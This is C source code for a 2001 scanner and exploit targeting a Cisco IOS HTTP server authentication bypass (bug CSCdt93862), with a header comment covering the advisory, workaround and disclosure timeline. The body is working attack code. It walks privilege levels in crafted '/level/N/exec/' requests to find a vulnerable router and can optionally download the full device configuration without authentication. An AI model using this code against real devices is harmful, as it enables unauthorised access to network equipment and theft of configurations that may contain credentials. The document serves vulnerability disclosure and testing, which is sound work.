/* * Cisco IOS HTTP Server Vulnerability Scanner. * Written by bashis * * This code scanning a Cisco router/switch for vulnerability, * and as an option fetching the configuration, without any * authentication, of the router/switch if vulnerability is found. * * Vulnerable: * Almost(?) ALL Cisco IOS based products with IOS Version later then 11.3, * with HTTP server enabled and using no TACACS+ / Radius authentication. * (I have been unable to reproduce this on routers/switches with IOS 11.2) * * Vendors advisory: * http://www.cisco.com/warp/public/707/IOS-httplevel-pub.html * * Cisco Bug ID: CSCdt93862 * * Workaround: * Disable HTTP Server. * -or- * Use TACACS+ / Radius for authentication. * * Solution: * Upgrade your IOS, read the vendors advisory for details. * * Status: * 7 May 2001: Vendor was notified about this bug. * 27 Jun 2001: Vendor released advisory. * 30 Oct 2001: Decided to make this scanner go public. * * Compile: gcc -Wall -o ios-w3-vul ios-w3-vul.c * (Tested on Linux and OpenBSD) * */ #include #include #include #include #include #include #include #include #include #define BUF_SIZE 1024 char getreq[] = "GET /level/"; char cmd_pwd[] = "/exec/-///pwd HTTP/1.0\n\n"; char cmd_sh_conf[] = "/exec/-///show/configuration HTTP/1.0\n\n"; int fetchc(int argc, char *argv[], struct sockaddr_in sin, struct hostent *inet_host, char vulnl[]) { int sock; char inbuf[BUF_SIZE], outbuf[BUF_SIZE]; if((sock=socket(AF_INET, SOCK_STREAM, 0)) < 0){ printf("Can't create socket: %s\n",strerror(errno)); return(1); } if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0){ printf("Can't connect to %s: %s\n",argv[1], strerror(errno)); return(1); } bzero(outbuf,sizeof(outbuf)); bzero(inbuf,sizeof(inbuf)); strcat(outbuf,getreq); strcat(outbuf,vulnl); strcat(outbuf,cmd_sh_conf); send(sock,outbuf,strlen(outbuf),0); while(recv(sock,inbuf,sizeof(inbuf),0)){ printf("%s",inbuf); if(strstr(inbuf,"command completed")) break; bzero(inbuf,sizeof(inbuf)); } close(sock); return(1); } int main(int argc, char *argv[]) { int sock, i; int ok = 0, bad = 0, other = 0, unauth = 0, count = 0; int finish = 0, fetch = 0; char inbuf[BUF_SIZE], outbuf[BUF_SIZE]; char tmp[5]; struct sockaddr_in sin; struct hostent *inet_host; printf("\nCisco IOS HTTP Server Vulnerability Scanner.\n"); printf("by bashis Cisco Bug ID: CSCdt93862\n\n"); if((argc < 2) || (strstr(argv[1],"-?"))) { printf("Usage: %s [fetch]\n",argv[0]); printf("\n : ip or hostname to scan.\n[fetch]: fetching configuration when finding a vulnerability and exit.\n\n"); exit(0); } if(argc > 2) if(!(strncmp(argv[2],"fetch",5))){ fetch++; } if ((inet_host=gethostbyname(argv[1])) == NULL) { printf("Can't resolve %s\n",argv[1]); exit(1); } sin.sin_family=AF_INET; sin.sin_port=htons(80); bcopy(inet_host->h_addr, (char *)&sin.sin_addr, inet_host->h_length); for(i=0;i<=100;i++) { if((sock=socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Can't create socket: %s\n",strerror(errno)); return(1); } if (connect(sock, (struct sockaddr*)&sin, sizeof(sin)) < 0) { printf("Can't connect to %s: %s\n",argv[1], strerror(errno)); return(1); } bzero(outbuf,sizeof(outbuf)); strcat(outbuf,getreq); bzero(tmp,sizeof(tmp)); sprintf(tmp,"%d",i); strcat(outbuf,tmp); strcat(outbuf,cmd_pwd); bzero(inbuf,sizeof(inbuf)); send(sock,outbuf,strlen(outbuf),0); while(recv(sock,inbuf,sizeof(inbuf),0)) { if(strstr(inbuf,"200 OK")) { printf("Received: 200 OK\t\t(%d is vulnerable)\n",i); ok++; if(fetch) { bzero(tmp,sizeof(tmp)); sprintf(tmp,"%d",i); if(fetchc(argc, argv, sin, inet_host,tmp)){ finish++; break; } } break; } else if(strstr(inbuf,"401 Unauthorized")) { unauth++; printf("Received: 401 Unauthorized\t(%d is not vulnerable)\n",i); } else if(strstr(inbuf,"400 Bad Request")) { bad++; printf("Received: 400 Bad Request\t(%d is not vulnerable)\n",i); } else { other++; break; } if(strstr(inbuf,"command completed")){ break; } } count++; close(sock); if(finish || other) break; usleep(50); } if(ok && !fetch) { printf("\n%s IS vulnerable, DISABLE HTTP and upgrade your IOS!.\n",argv[1]); } else if(!other && !ok) printf("\n%s seems NOT to be vulnerable. Using TACACS+/Radius?\n",argv[1]); else if((fetch && !other) || (fetch && !ok)) printf("\nFetched configuration from %s...\n",argv[1]); else printf("Uh Ah Oh Whats this?? - This Can't be a Cisco device..\nYou should check if it's a Cisco device you are trying to scan.. ;->\n\n"); printf("Status: Sent:%d, 200 OK:%d, 400 Bad request:%d, 401 Unauthorized:%d, Other:%d\n",count,ok,bad,unauth,other); return(0); }